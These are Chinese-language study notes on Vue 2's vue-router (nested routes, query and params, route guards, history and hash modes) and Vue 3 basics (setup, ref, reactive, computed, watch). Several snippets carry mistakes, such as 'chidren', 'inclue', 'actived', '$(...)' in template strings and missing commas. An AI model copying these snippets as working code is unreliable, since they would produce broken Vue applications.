vue-router: 就是vue的一个插件库,专门用来实现SPA应用
安装vue-router:npm i vue-router使用npm或cpm或yarn都行,使用i或install都行
注意: 在20220207之后的vue-router默认版本是4,只能在vue3使用的,所以如果是Vue2使用得使用vue-router3,所以应该使用npm i vue-router@3

  1. 创建文件src/router/index.js:
    // 该文件用于创建整个应用的路由器
    import VueRouter from 'vue-router'
    import About from '../component/About'
    // 创建一个路由
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		...
    	]
    })
    
    export default router;
    
  2. 在主文件(main.js或index.js)使用路由:
    // 在入口文件引入并使用vue-router
    import VueRouter from 'vue-router'
    import router from './router' 
    Vue.use(VueRouter)
    new Vue({router:router}) // 在new Vue({})时和data同层级配置路由器
    
  3. 在组件模板中使用路由标签:<router-link to="/about" 这里可以和普通标签一样写样式>转跳About</router-link>,router-link标签最终会被编译成a标签,如果给该标签加上属性active-class=“自定义的样式名”,该路由标签被点击时就会显示自定义的样式
    <router-link to="/about" active-class="自定义的样式名" 这里可以和普通标签一样写样式>转跳About</router-link>
  4. 然后在需要展示切换时的组件地方使用<router-view></router-view>。就可以实现点击router-link标签时切换展示界面。如果使用路由切换多个页面,被切换的页面的组件就会被销毁。

【老师笔记】

  1. 安装vue-router,命令: npm i vue-router
  2. 应用插件: Vue.use(VueRouter)
  3. 编写router配置项:
    // 引入VueRouter
    import VueRouter from 'vue-router'
    
    // 引入路由组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    export default router //暴露router
    
  4. 实现切换(active-class可配置高亮样式): <router-link active-class="active" to="/about">About</router-link>
  5. 在展示组件的位置: <router-view></router-view>
  6. 几个注意点
    • 一般组件: 程序员手动写的<自定义组件>自定义组件标签的组件,通常将一般组件放在src/components。
    • 路由组件: 通过<router-view></router-view>自动展示的组件,通常将路由组件放在src/pages文件夹。路由组件的实例对象比一般组件实例对象多2个属性,分别是routeroute和router。
    • 通过切换,"隐藏"了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
    • 每个组件都有自己的$route属性,里面存储着当前组件自己的路由信息。
    • 整个应用只有一个router,即$router是整个应用的路由器,可以通过组件的$router属性获取到。

嵌套路由 (多级路由)

嵌套路由: 一个路由组件内,还嵌套着另一个路由组件
配置子路由: 在src/router/index.js中的一级路由下配置子路由,非一级路由的path前面都无需使用"/",

import XXX from 'xxx'
import BBB from 'bbb'
routes:[
	{
		path:'/home',
		component:XXX,
		chidren:[
			{
				path:'goods', // 这里不是第一级路由,所以前面不用写/
				component:BBB
			}
		]
	},
]

在调用二级或多级路由时,要将父级的path写在前面,比如在一级路由组件中调用二级路由: <router-link to="/home/goods" active-class="自定义的样式名">转跳About</router-link>

【老师笔记】多级路由

  1. 配置路由规则,使用children配置项:
    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children配置子级路由
    			{
    				path:'news', //非第一层级的一定不要写斜杠: /news
    				component:News
    			},
    			{
    				path:'message',//非第一层级的一定不要写斜杠: /message
    				component:Message
    			}
    		]
    	}
    ]
    
  2. 跳转(要写完整路径): <router-link to="/home/news">News</router-link>

路由传参/路由的qurey参数

qurey参数(查询参数)形式: url+?+参数对(参数名=参数值)。如:https://www.baidu.com?type=xxx&word='ooo'

传递参数: 使用qurey形式给被路由的组件传参,使用to的字符串写法<router-link to="/home/message/detail?id=666&title=你好吗">Detail</router-link>
获取参数: 在被调用的路由组件中获取传过来的参数this.$route.query.id、this.$route.query.title{{$route.query.id}}、{{$route.query.title}}

动态给router-link传参:

<!-- to的值是字符串的写法 -->
<li v-for="m in massageList" :key="m.id">
	<router-link :to="`/home/message/detail?id=$(m.id)&title=$(m.massage)`"></router-link>
</li>


<!-- to的值是对象的写法 -->
<li v-for="m in massageList" :key="m.id">
	<router-link 
	:to="{
		path: '/home/message/detail?',
		query: {
			id: m.id,
			title: m.massage,
		}
	}">
</li>

命名路由

使用命名路由,可以大大缩短多级路由的路径的编写。
在routes中添加属性"name:xxx"

routes:[
   	{
   		path:'/home',// 一级路由
   		component:Home,
   		children:[ // 二级子路由
   			{
				name:'xiaoxi'
   				path:'message',
   				component:Message,
				children:[ //三级子路由
					{
						name:'xiangqing'
						path:'detail',
						component:Detail
					},
				]
   			}
   		]
   	},
   ]

那么原本可能在组件的路由标签中path要写很长,就简单多了

<router-link 
	:to="{
		<!-- path: '/home/message/detail?', // path可以取消,使用name代替 -->
		name: xiangqing 
		query: {
			id: m.id,
			title: m.massage,
		}
	}">
</router-link>

<!-- 或 -->

<router-link :to="{name:'xiangqing'}"></router-link>

路由传参/路由的params参数

params参数就是路径参数

  1. 配置
    routes:[
    	{
    		path:'/home',// 一级路由
    		component:Home,
    		children:[ // 二级子路由
    			{
    				name:'xiaoxi'
    				path:'message',
    				component:Message,
    				children:[ //三级子路由
    					{
    						name:'xiangqing'
    						path:'detail/:id/:title', // 设置路由占位的第一个参数是id,第二个参数名是title
    						component:Detail
    					},
    				]
    			}
    		]
    	},
    ]
    
  2. 传参<router-link to="/home/message/detail/666/这里是详情"></router-link>"666"和"这里是详情"就会分别填充到路由配置的占位id和title中,这两个值并不会作为路径的一部分。如果需要动态传params参数给路由: <router-link :to="/home/message/detail/$(变量1)/$(变量2)"></router-link>
  3. 接收参数:路由所指向的组件Detail就会收到这些参数{{$route.params.id}}-{{$route.params.title}}

使用对象方式传参:

<router-link 
	:to="{
		name: xiangqing  // 如果使用params,则必须使用name指定路由名称
		params: { // 如果使用params,则必须使用name指定路由名称
			id: m.id,
			title: m.massage,
		}
	}">
</router-link>

路由的props配置

每次在路由指向的组件里接收参数要使用形如{{$route.params.title}},就会写出很多重复的$route.params。为了让代码更简洁,使用路由的props配置。类似于父组件给组件传参的方式,父组件在<子组件 age=18 param2='xxx'>,然后子组件使用props:['age','param2']的方式接收参数。路由的props也类似。

  1. 配置: 谁接收数据,就去哪个路由配置props
    routes:[
    	{
    		path:'/home',// 一级路由
    		component:Home,
    		children:[ // 二级子路由
    			{
    				name:'xiaoxi'
    				path:'message',
    				component:Message,
    				children:[ //三级子路由
    					{
    						name:'xiangqing',
    						path:'detail/:id/:title',
    						component:Detail,
    
    						props:{a:1,b:'hello'}, // 第一种写法 (最不推荐) : props的值为对象,该对象中的所有key:value都会以props的形式传给Detail组件。该用法用的少,因为数据再这里写死了
    	
    						props:true, // 第二种写法 (不推荐) : 如果是true,就会把该路由组件收到的所有params参数 (这里是上面的path中收到的id和title) ,以props的形式传给Detail组件。缺点是如果人家是用query传参,本写法不会把query传的参给传到Detail。
    	
    						props($route){ // 第三种写法 (推荐) : 值为函数
    							return {// 返回的对象中的所有key:value都会以props的形式传给Detail组件
    								id:$route.query.id,
    								title:$route.query.title,
    							}
    						}
    
    						// 或者上面第三种写法可以使用结构赋值写成下面形式: 即获取到原有参数中的query属性作为新的参数
    						props({query}){ // 第三种写法 (推荐) : 值为函数
    							return {// 返回的对象中的所有key:value都会以props的形式传给Detail组件
    								id:query.id,
    								title:query.title,
    							}
    						}
    
    						// 或者多级结构赋值,更加精简一步: 
    						props({query: {id,title}}){ // 第三种写法 (推荐) : 值为函数
    							return {// 返回的对象中的所有key:value都会以props的形式传给Detail组件
    								id:id, // 可以不用写键值对,直接写成id
    								title:title, // 可以不用写键值对,直接写成title
    							}
    						}
    					},
    				]
    			}
    		]
    	}
    ]
    
  2. 接收数据
    • 方式1: 在Detail中接收数据,与data同层级: props:['a','b']
    • 方式2: 因为配置中的props的值true,就会把path中收到的id和title传给路由指向的Detail组件,然后Detail组件以props形式接收即可,与data同层级接收数据: props:['id','title'],使用数据: {{id}}-{{title}}
    • 方式3: Detail组件以props形式接收即可,与data同层级接收数据: props:['id','title'],使用数据: {{id}}-{{title}}

路由的replace属性

Vue中的路由模式默认是push模式,即堆栈模式,通过多次路由,可以点击前进后退转跳。如果给<router-link>标签使用了replace属性则开启本次路由的replace模式,即把上一次的路由记录替换成本次的。<router-link :replace="true">,简写就是<router-link replace>

比如默认的push模式路由是:A组件→B组件→C组件→D组件→C组件→B组件。每点击一次就堆栈,然后浏览器的前进后退都可以在这些组件之间来回切换。
如果在B组件路由到C组件使用了replace模式,那么上面的操作就会抹掉路由进C组件前一条记录,同样步骤的操作,但浏览器的记录就会变成: A组件→C组件(替换掉原有的B组件记录)→C组件(替换掉原有的B组件记录)→B组件


编程式路由导航

编程式路由导航: 不用<router-link>实现路由的导航就叫路由导航,即不用<router-link>而使用代码进行路由转跳实现路由功能的方式就叫编程式路由导航。不用<router-link>实现路由,因为如果需求是按某个button就路由转跳,使用<router-link>最终会转换成<a>标签,所以会破坏原有的button样式。

比如点击某个button就路由,那就在该button的回调中,代码调用路由器的原型对象,操作路由。

this.$router.push({ // 这里是使用push模式,如果要使用replace模式就改成replace即可。原有的<router-link>标签内的:to怎么写就怎么写
		path: '/home/message/detail?', // path取消,使用name代替
		name: xiangqing 
		query: {
			id: m.id,
			title: m.massage,
})


// 使用路由器$router实现浏览器的前进后退功能: 
this.$router.back() // 后退
this.$router.forward() // 前进
this.$router.go(n) // 前进n步,如果是-n (负数) 则后退n步

缓存路由组件

路由在不同组件之间的时候,切换路由的时候这些组件都会被销毁,如果某个组件中的输入框有数据,路由切换到别的组件再回来时候这些数据就消失了。缓存路由组件就是解决这个问题。
使用<keep-alive>标签包裹<router-link>,那么<router-link>所指向的组件在切换时都不会被销毁,如果添加inclue属性则只给某个组件保活<keep-alive inclue="News"> News是组件News中的name配置项 (即组件名) 。
如果多个组件,只需要缓存其中的若干个比如2个或三个,就用数组写法: <keep-alive :inclue="['News',...]">若干<router-view></keep-alive>


路由组件独有的2个生命周期钩子

actived: 路由组件显示后(激活时)回调
deactived: 路由组件被切换后(失活)回调


路由守卫(重要,用的多)

路由守卫: 保护路由的安全,限制达到某种条件才能使用路由,即对路由进行权限管理。比如是VIP账号才能路由展示页到下载页面(下载组件)。


全局前置的路由守卫

前置路由守卫: 从当前组件路由到另一个组件之前调用beforeEach()
在路由的配置文件中,实例化路由器之后,调用。在/src/router/index.js中:

const router = new Route({...})
router.beforeEach((to,from,next)=>{
	// 参数说明:
	// to: 即将要进入的目标Route对象
	// from: 当前导航正要离开的Route对象
	// next: 一个函数,决定是否展示你要看到的路由页面
	if(???){ //这里判断是否决定路由切换
		next() //调用这个函数才能路由转跳到下个组件
	}
}) // 全局全置的路由守卫---初始化 (首次打开页面时) 时被调用、每次路由切换之前被调用
export default router

注意,如果使用前置路由,业务复杂起来,会不好管理。可以使用这种方式: $router中的mate属性是用来存数据的,如果某个路由需要进行权限控制,则在他的路由上做个标记false,使用的时候直接读取该标记是否为false就可以了。

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'

//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
	routes:[
		{
			name:'guanyu',
			path:'/about',
			component:About,
			meta:{title:'关于'}
		},
		{
			name:'zhuye',
			path:'/home',
			component:Home,
			meta:{title:'主页'},
			children:[
				{
					name:'xinwen',
					path:'news',
					component:News,
					meta:{isAuth:true,title:'新闻'} // 如果路由要进行权限控制,就在meta中写个标记字段,比如isAuth (这是个自定义字段,随意起名都可以) 
				},
				{
					name:'xiaoxi',
					path:'message',
					component:Message,
					meta:{isAuth:true,title:'消息'},
					children:[
						{
							name:'xiangqing',
							path:'detail',
							component:Detail,
							meta:{isAuth:true,title:'详情'},
							props($route){
								return {
									id:$route.query.id,
									title:$route.query.title,
									a:1,
									b:'hello'
								}
							}

						}
					]
				}
			]
		}
	]
})

//全局前置路由守卫: 初始化的时候被调用、每次路由切换之前被调用
router.beforeEach((to,from,next)=>{
	console.log('前置路由守卫',to,from)
	if(!to.meta.isAuth || (to.meta.isAuth && localStorage.getItem('school')==='atguigu')){ // 如果不需要鉴权,或者鉴权成功,则放行
		next()
	}else{
		alert('学校名不对,无权限查看!')
	}
})

export default router

代码获取路由信息,以及获取路由传递过来的数据 mate
routes = this.$router.options.routes
item = routes.route
item.meta.title


全局后置的路由守卫 (用的不多)

参考全局前置的路由守卫,只是把beforeEach改成了afterEach。afterEach是在页面初始化的时候或每次路由切换之后被调用。
后置路由的作用: 经常用于路由后的数据展示,比如document.title等。
但是注意,在index.html的title标签设置中,读取的是package.json中的项目名,所以如果在后置路由守卫中改title,会闪一下ndex.html的title标签设置的title。如果需要稳定的不闪,把index.html的title标签设置和document.title = to.meta.title || '硅谷系统'中的’硅谷系统’一致即可: <title>硅谷系统</title>
前置路由守卫和后置路由守卫可以同时使用,不冲突。

router.afterEach((to,from)=>{ //全局后置路由守卫: 初始化的时候被调用、每次路由切换之后被调用
	console.log('后置路由守卫',to,from)
	document.title = to.meta.title || '硅谷系统' // 如果to.meta.title不为undefind就返回to.meta.title的值,如果to.meta.title是undefind则返回'硅谷系统'
})

独享前置路由守卫

独享前置路由守卫: 就是某个路由单独享用的路由守卫,即只对某一个路由做前置路由守卫

const router =  new VueRouter({
	routes:[
		{
			name:'guanyu',
			path:'/about',
			component:About,
			meta:{title:'关于'}
		},
		{
			name:'zhuye',
			path:'/home',
			component:Home,
			meta:{title:'主页'},
			beforeEnter: (to, from, next)=>{
			// 无论从哪个组件路由到Home组件前会调用这里。独享路由守卫只有前置,没有后置,所以没有afterEnter()
			},
		}
	]
})

组件内路由守卫 (用的也不多)

在组件内配置的路由守卫,与data同层级,配置beforeRouteEnter、beforeRouteLeave。

export default {
	name:'About',
	data:{...},
	//通过路由规则,进入该组件时被调用
	beforeRouteEnter: (to, from, next) {
		// 这里的to是当前组件的路由。from是切换来之前的路由
		console.log('About--beforeRouteEnter',to,from)
		if(to.meta.isAuth){ //判断是否需要鉴权
			if(localStorage.getItem('school')==='atguigu'){
				next()
			}else{
				alert('学校名不对,无权限查看!')
			}
		}else{
			next()
		}
	},

	// 通过路由规则,离开该组件时被调用
	beforeRouteLeave (to, from, next) {
		// 这里的from是当前组件的路由。to是将要切换到的路由
		console.log('About--beforeRouteLeave',to,from)
		next()
	}
}

通过路由规则的意思是代码调用路由器.push()路由器.replace()或者使用<router-link>进入的组件。如果直接使用组件标签进入的组件,比如<组件名标签>
,就不是通过路由规则进入该组件。所以beforeRouteEnter、beforeRouteLeave只适用于路由规则进出该组件时被调用。


路由工作的2种流程

vue的路由器的两种工作模式history模式和hash模式的区别:

  • hash模式: 地址栏有#号不好看,兼容性好
  • history模式: 地址栏没有#号,但兼容性略差。如果使用history模式,刷新页面容易将前端路由也当做url请求服务器,造成404
    localhost:8080/#/home/message中的#就是hash的意思,这里的hash不是加密的意思。从#号开始到url的末尾都算是路径里面的hash值,hash值最大的特点就是不会随http的请求发给服务器 (即不会作为路径发送给服务器) 。localhost:8080/#/home/message的hash值就是/home/message。
    如果要修改工作模式,给路由器新增配置mode:'history/hash'就可以了。const router new VueRouter({mode:'history/hash', ...})。修改代码后需要新开标签页才能生效,使用history模式就可以去除地址栏的#号了

如何使用history模式而让地址栏不出现#号: 需要后端配置,比如nodejs使用的是connect-history-api-fallback这库解决这个问题,或者使用nginx

vue-cli脚手架项目发布流程:

  1. 先编译打包,将.vue文件编译成.html、.js、.css
    • 开发中: 如果要将.vue文件编译成.html、.js、.css,则执行npm run serve(实际上调用的是命令vue-cli-service serve),开启8080内置服务器
    • 如果是开发完成了: 就使用npm run build (实际上调用的是命令vue-cli-service build) 将.vue文件编译成.html、.js、.css
  2. 编译完成后,会在项目的根目录生成一个dist文件夹,里面就是打包完成的.html、.js、.css
  3. 然后部署项目: 将打包后的dist内的所有文件复制到服务器中的静态资源文件目录中去,开启服务器 (比如nginx或nodejs的express等) ,让服务器访问静态资源文件就可以了。

Vue常见的UI组件库

  1. 移动端
    1. Vant
    2. Cube UI
    3. Mint UI
  2. PC
    1. Element UI:饿了么
    2. IView UI
  3. Ant Design of React(官方)
  4. Ant Design of Angular(社区实现)
  5. Ant Design of Vue(社区实现)
  6. Ant Design
  7. Ant Design Mobile

面试时人家可能会问这些UI组件库是基于什么框架的React或Vue…等。是PC端用还是移动端用


ElementUI的简单使用

在使用ElementUI如果按需引入时报错,看第135集(尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通_哔哩哔哩_bilibili)第12分钟开始解说。

Vue3

Vue3简介

Vue3比Vue2强在哪:

  • 打包更小
  • 内存占用更少
  • 渲染速度更快
  • 源码升级: 使用Proxy代替defineProperty实现响应式
  • Vue3重写了虚拟DOM的实现,和Tree-Shaking(就是剔除没有用到的代码)
  • Vue3更好的支持了TypeScript
  • Vue3的脚手架和Vue2的不一样,要重新安装适合Vue3使用的脚手架和开发者工具(浏览器插件)
  • 可以使用vite (尤雨溪团队维护的) 创建Vue3项目,vite是新一代的前端构建工具 (上一代是webpack和react) ,但是vite还没大规模应用,了解即可。

使用vite创建Vue3项目

npm init vite-app <project-name> ## 创建工程
cd <project-name> ## 进入工程目录
npm install ## 安装依赖
npm run dev ## 运行

使用vue-cli创建Vue3项目

## 查看@vue/cli版本,必须确保@vue/cli版本在4.5.0以上
vue --version 或 Vue -V

npm install -g @vue/cli ## 安装或者升级你的@vue/cli
vue create vue3_test(项目名) # 创建项目,然后选择Vue3

## 启动
cd vue_test
npm run serve


详解vue-cli创建的Vue3项目结构

main.js详解

// 引入的不再是Vue构造函数 (import Vue from 'vue') 了,引入的是一个名为createApp的工厂函数
import { createApp } from 'vue'
import App from './App.vue'

createApp(App).mount('#app') // 创建应用实例对象并挂载容器

//或者像下面先实例化再挂载容器也行

// 创建应用实例对象: app(类似于之前Vue2中的vm,但app比vm更“轻”)
const app = createApp(App)

app.mount('#app') // 挂载容器

App.vue

<template>
	<!-- Vue3组件中的模板结构可以没有根标签(要写根标签也没有问题) -->
	<img alt="Vue logo" src="./assets/logo.png">
	<HelloWorld msg="Welcome to Your Vue.js App"/>
</template>

二、常用 Composition API(组合式API)

官方文档: https://v3.cn.vuejs.org/guide/composition-api-introduction.html
Composition API: 组合式API,看完这里到后面的自定义hook函数后就懂了这是什么意思。


1.初识Vue3配置项setup(新API)

  1. 理解: Vue3.0中一个新的配置项,值为一个函数。
  2. setup是所有Composition API (组合API) “ 表演的舞台 ”
  3. setup()在组件的整个生命周期过程中只会执行一次。
  4. 组件中所用到的: 数据、方法、生命周期钩子…等等,均要配置在setup中,即vue2中data中的数据、methods中的函数、生命周期函数等,在Vue3中直接写在setup中。
  5. setup函数的两种返回值:
    • setup()若返回一个对象,则对象中的属性、方法, 在模板中均可以直接使用。(常用此方式,重点关注!)
    • setup()若返回一个渲染函数: 则可以自定义渲染内容。(了解即可)
  6. 注意点:
    • Vue3也支持Vue2的配置方式,但是尽量不要与Vue2的配置混用
      • 在Vue2配置(data、methos、computed…)中可以访问到setup中的属性、方法。
      • setup()中不能访问到Vue2.x配置(data、methos、computed…)。
      • 如果组件中同时是又弄了Vue2和Vue3两种配置方式,且配置有重名时, setup()中的配置优先。
    • setup不能是一个async函数,因为被async修饰的函数的返回值不再是return的js对象, 而是promise对象, 模板看不到return对象中的属性。(后期也可以返回一个Promise实例,但需要Suspense和异步组件的配合)

App.vue

<template>
	<h1>一个人的信息</h1>
	<h2>姓名: {{name}}</h2>
	<h2>年龄: {{age}}</h2>
	<h2>性别: {{sex}}</h2>
	<h2>a的值是: {{a}}</h2>
	<button @click="sayHello">说话(Vue3所配置的sayHello())</button>
	<button @click="sayWelcome">说话(Vue2所配置的sayWelcome())</button>
	<button @click="test1">测试一下在Vue2的配置中去读取Vue3中的数据、方法</button>
	<button @click="test2">测试一下在Vue3的setup配置中去读取Vue2中的数据、方法</button>
</template>

<script>
// import {h} from 'vue'
export default {
	name: 'App',
	// 如果在Vue3中使用Vue2的方式配置Vue实例,也是有效的,但不建议用这种方式。因为通过Vue2方式配置的数据和函数,被Vue3读取或调用会出现问题 (Vue2方式配置的函数调用Vue3方式的数据和函数没有问题) 。所以Vue2的配置方式和Vue3的配置方式不要混用。如果Vue2和Vue3配置(属性值/方法名...)一样的时候(有冲突的时候),以Vu3的配置为准。
	data() {
		return {
			sex:'男',
			a:100
		}
	},
	methods: {
		sayWelcome(){
			alert('欢迎来到尚硅谷学习')
		},
		test1(){
			console.log(this.sex)
			console.log(this.name)
			console.log(this.age)
			console.log(this.sayHello)
		}
	},
	//此处只是测试一下setup,暂时不考虑响应式的问题。
	setup(){
		//数据
		let name = '张三'
		let age = 18
		let a = 200

		//方法
		function sayHello(){
			alert(`我叫${name},我${age}岁了,你好啊!`)
		}

		function test2(){
			console.log(name)
			console.log(age)
			console.log(sayHello)
			console.log(this.sex)
			console.log(this.sayWelcome)
		}

		//返回一个对象 (常用) 
		return {
			name,
			age,
			sayHello,
			test2,
			a
		}

		// 返回一个函数 (渲染函数)
		// 需要先引入import {h} from 'vue'
		// return ()=> h('h1','尚硅谷')
	}
}
</script>

2.ref函数

ref:reference引用的意思

  • 作用: 用于定义一个响应式的数据/变量(使用传统的js方式定义变量比如const xxx = 1不会被Vue监测,所以该方式定义的变量不是响应式数据)
  • 语法: 先引入 import{ref} from 'vue' const xxx = ref(initValue)
    • 创建一个包含响应式数据的引用对象const xxx = ref(initValue)(reference对象,简称ref对象)。
    • JS中操作数据: xxx.value,xxx.value获取的就是,如果是xxx是个js对象(比如const xxx = ref({a: 1, b: {b1: 7})),则操作该对象中的属性就是xxx.value.属性名即可(比如console.log(xxx.value.a)),如果要修改xxx.value.属性名 = '值'(比如xxx.value.a = 5,只有第一层.value即可,更深层级的不需要value,比如xxx.value.b.b1 = 10)
    • 模板中读取数据: 不需要.value,直接: <div>{{xxx.a}}</div>或者<div>{{xxx.b.b1}}</div>
  • 备注:
    • ref函数接收的数据可以是: 基本类型、也可以是对象类型。
    • 基本类型的数据: 响应式依然是靠Object.defineProperty()getset完成的。
    • 对象类型的数据: 内部使用了Vue3.0中的一个新函数reactive()(reactive函数就是Proxy的封装) 。

3.reactive函数

  • 作用: 定义一个对象类型的响应式数据 (基本类型不要用reactive会报错,基本类型用ref即可)
  • 语法: const 代理对象= reactive(源对象)接收一个对象 (或数组) ,返回一个代理对象(Proxy类型的实例对象,简称proxy对象,在vue3中,如果一个对象是Proxy类型的,说明该对象内的数据是响应式数据)
  • 修改数据: const a= reactive({xxx:1,yy:'hello'}); a.xxx = 3; {{a.xxx}}; const b= reactive(['抽烟','喝酒','烫头']); b[0] = '234';,如果是数组对象的修改也可以被监测到
  • reactive定义的响应式数据是"深层次的",即reactive(源对象)的源对象内属性不管有多少个层级,其数据的变化都能被vue监视到。
  • reactive函数内部基于ES6的Proxy实现,通过代理对象操作源对象内部数据进行操作,且该操作是可以被vue所捕获的。对数据的操作可以被捕获,这就是数据劫持。

4.Vue3中的响应式原理

vue2的响应式

  • 实现原理
    • 对象类型: 通过Object.defineProperty()对属性的读取、修改进行拦截(数据劫持)。
    • 数组类型: 通过重写更新数组的一系列方法来实现拦截(对数组的变更方法进行了封装)。
    Object.defineProperty(obj, 'count', { // obj就是要新增属性的对象
    	configurable:true, // 设置了这个属性为true后,才能通过 delete obj.count删除obj中的属性
    	get () {return obj.count}, 
    	set (value) {obj.count = value}
    })
    
  • Vue2使用此方式实现响应式存在问题
    • 新增属性(对象.属性 = '值';的方式)、删除属性(delete 对象.属性;的方式), Vue2捕获不到,所以前端界面不会更新 (Vue3已解决) 。
    • 直接通过下标修改数组, 界面不会自动更新 (Vue3已解决) 。

Vue3的响应式

Vue3.0响应式的实现原理

  • 通过Proxy(代理): 拦截对象中任意属性的变化, 包括属性值的读写、添加、删除等。
  • 通过Reflect(反射): 对源对象的属性进行操作。
  • Proxy和Reflect都是window的内置对象,都可以通过window.Proxy()和window.Reflect()进行调用,也可以省略window,直接Proxy()和Reflect()也一样。
  • MDN文档中描述的Proxy与ReflectProxy文档Reflect文档
new Proxy(obj, {
	get (target, prop) {// 拦截读取属性值 // target: 在get获取到值之前的obj的对象。prop: 要get的obj的属性的名称
		return Reflect.get(target, prop) // Reflect:反射。Reflect.get(target, prop)相当于target[prop]。如果obj是{a:123},prop='a',则此处target就是{a:123},return target.prop 相当于return obj[a]读取obj中的属性a;
	},
	set (target, prop, value) {// 修改属性值或添加新属性时set函数都会被调用
		return Reflect.set(target, prop, value) // 等同于target[prop] = value
	},
	deleteProperty (target, prop) {// 拦截删除属性
		// return delete target[prop] // delete 属性会有一个boolean类型的返回值。使用target[prop]方式会直接修改原数据,target就是传进来的obj这个对象,所以vue不是这么修改的。vue是用下面这种方式进行反射调用的。
		// 或者以下这种方式也可以
		return Reflect.deleteProperty(target, prop)
	}
})
proxy.name = 'tom' 

5.reactive对比ref

  • 从定义数据角度对比:
    • ref用来定义: 基本类型数据。
    • reactive用来定义: 对象/数组类型数据。
    • 备注: ref也可以用来定义对象/数组类型数据, 它内部会自动通过reactive()转为代理对象。
  • 从原理角度对比:
    • ref通过Object.defineProperty()的get()与set()来实现响应式(数据劫持)。
    • reactive通过使用Proxy来实现响应式(数据劫持), 并通过Reflect操作源对象内部的数据。
  • 从使用角度对比:
    • ref定义的数据: 操作数据需要.value,读取数据时模板中直接读取不需要.value。
    • reactive定义的数据: 操作数据与读取数据均不需要.value。

6.setup的三个注意点

  • setup执行的时机
    • 在beforeCreate()执行之前,会先执行setup()一次,此时的setup()中的this是undefined。
  • setup的参数
    • props: 值为对象,包含: 外部组件(父组件)传递过来的数据,且组件内部声明接收了的属性。在和setup()同层级使用props属性接收就行了,参考vue2的props接收数据。
    • context上下文对象,该对象中有以下属性:
      • attrs: 值为对象,包含组件外部(父组件)传递过来但没有在props配置中声明的属性,相当于 this.$attrs等同于vue2中的组件实例对象.$attrs或在组件实例对象中使用this.$attrs
      • slots: 收到的插槽内容(这些内容是虚拟DOM), 相当于 this.$slots
      • emit: 用于触发(分发)自定义事件的函数, 相当于 this.$emit
  • emits属性: 与setup平级有个emits属性,和同层级的props一样,值也是数组类型,如果父级组件给子组件绑定了一个自定义事件(即父组件在子组件标签上使用了属性@自定义事件="父组件的回调函数名"的形式,比如<Demo @hello="showHelloMsg">) ,那么子组件中就要设定emits属性,比如emits:['hello'],这样浏览器控制台才不会报警。

7.使用插槽和Vue2的区别

在Vue3中最好使用v-slot的方式给子组件传具名插槽,子组件setup的context参数的context.slots才能收到该插槽

<!-- 父组件 -->
<template v-slot:xxx>   xxx是子组件内插槽名字
	内容
</template> 

<!-- 子组件setup的context参数的context.slots才能收到该插槽  -->

8.计算属性与监视

1.computed函数

Vue3中的computed与Vue2中computed功能一样(写法也可以一样,但是不推荐)

<template>
	<span>全名: {{fullName}}</span>
</template>

<script>
import {computed} from 'vue' // 先引入computed
setup(){
	let person = reactive({...})
	...

	//计算属性写法1: 简写写法,这种方式是只读的,不能修改fullName的值。
	let fullName = computed(()=>{
		return person.firstName + '-' + person.lastName
	})

	//计算属性写法2: 完整写法。这种方式可对属性读取或修改,即读取的时候从那些数据读的什么逻辑读的,写入的时候再倒回来修改被用到的数据就行了。
	let fullName = computed({
		get(){// 读取的时候是这两个字段用-拼接
			return person.firstName + '-' + person.lastName
		},
		set(value){// 修改fullName的时候和读取相反,使用-作为拆分符,然后将拆分后的两段文本更新到对应的字段
			const nameArr = value.split('-')
			person.firstName = nameArr[0]
			person.lastName = nameArr[1]
		}
	})

	return {
		fullName,
	}
}
</script>

2.watch函数

与Vue3中watch与Vue2中watch的写法可以一样,但是不推荐,需要注意的两个小坑:

  • 监视reactive定义的响应式数据时oldValue无法正确获取、强制开启了深度监视(deep配置失效,即无论deep属性的值是true还是false,Vue都会对其进行深度监视) 。
  • 监视reactive定义的响应式数据中某个属性(该属性值得是一个对象)时: deep配置为true或false才有效。
    比如const xx = reactive({a:{a1:12},b:1}),如果监控的是xx这个对象,则强制开启深度监视deep配置无效,如果是监控xx.a,deep配置为true或false才有效,如果是监控xx.b,则强制开启深度监视deep配置无效(因为xx.b的值不是对象)。
import {ref,reactive,watch} from 'vue'

// set()里面写成下面: 

//-------------------------监视ref-----------------------------
let sum = ref(0);
let msg = ref('xinxi');

// 注意: 以下的watch只是演示多种写法,实际使用中,watch只能使用一次,所以只能使用以下的某一种写法来完成watch。

//情况一: 监视ref定义的响应式数据
watch(sum,(newValue,oldValue)=>{
	console.log('sum变化了',newValue,oldValue)
},{immediate:true})// 如果配置了immediate,则一上来在setup()执行时候就先立即执行一次watch中的回调。

//情况二: 同时监视多个ref定义的响应式数据
watch([sum,msg],(newValue,oldValue)=>{// newValue和oldValue都是数组。就新旧的[sum,msg]
	console.log('sum或msg变化了',newValue,oldValue)
}) 

// ------------------------监视reactive-----------------------------
let person = reactive({
	  name : '张三',
	  age : 18,
	  job:{
		  j1:{
			  salary:2000
		  }
	  }
})

/* 情况三 (平时这种方式用的多一点) : 监视reactive定义的响应式数据
			若watch监视的是reactive定义的响应式数据,则无法正确获得oldValue,此时参数获取到的oldValue就会和newValue一样,该问题无法解决。
			若watch监视的是reactive定义的响应式数据,则强制开启了深度监视,就算设置 deep:false也无法取消深度监视。
*/
watch(person,(newValue,oldValue)=>{// 如果person不是reactive而是ref,则会监视不到person的数据的变化,因为该ref类型的对象中自己定义的数据属性的值是个对象{...},watch是监视不到该对象{...}中的属性值的变化的,除非将这个整个对象给替换掉,或开启深度监视,或监视ref类型的对象.value,这样才能监视到。
	console.log('person变化了',newValue,oldValue)
},{immediate:true,deep:false}) //此处的deep设置为false不再奏效,依然还会进行深度监视 (监视多层级属性的变化) 

//情况四: 监视reactive定义的响应式数据中的某个属性。传给watch的第一个参数是函数,想监视哪个对象的属性,该函数的返回值就返回哪个对象的属性。
